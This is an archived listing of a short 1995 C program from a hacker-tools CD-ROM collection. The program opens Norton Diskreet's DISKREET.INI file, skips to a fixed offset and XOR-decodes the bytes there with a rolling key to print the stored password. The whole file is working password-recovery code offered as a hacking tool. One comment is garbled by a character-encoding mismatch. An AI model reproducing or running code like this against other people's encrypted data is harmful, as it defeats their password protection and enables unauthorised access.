home *** CD-ROM | disk | FTP | other *** search
/ For Beginners & Professional Hackers / cd.iso / hackers / tools / diskreet.ha / REETPSW.C < prev   
Encoding:
C/C++ Source or Header  |  1995-08-21  |  340 b   |  17 lines

  1. #include <stdio.h>
  2. main()
  3. {
  4. FILE *f;
  5. unsigned char by, byXor;
  6.  
  7.  
  8.     f = fopen("c:\\nu\\DISKREET.INI", "rb");
  9.     fseek (f, 0x64L, SEEK_SET);
  10.     for (byXor = 0x35; by = fgetc(f); byXor += 0x36) {
  11.         if ((by ^= byXor) == 0) by = 0x33;
  12.             putchar(by);    // ºñÑß∞ íπñπΓ ¡πª¡δÑ íπ¬δóδ ;-)))
  13.     }
  14.     fclose (f);
  15. }
  16.  
  17.